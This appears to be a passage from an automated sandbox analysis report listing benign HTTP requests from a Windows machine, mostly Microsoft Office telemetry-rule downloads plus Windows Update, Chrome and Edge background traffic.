Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2P5wXySC3kYAZ87&MD=oyHvSXK8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
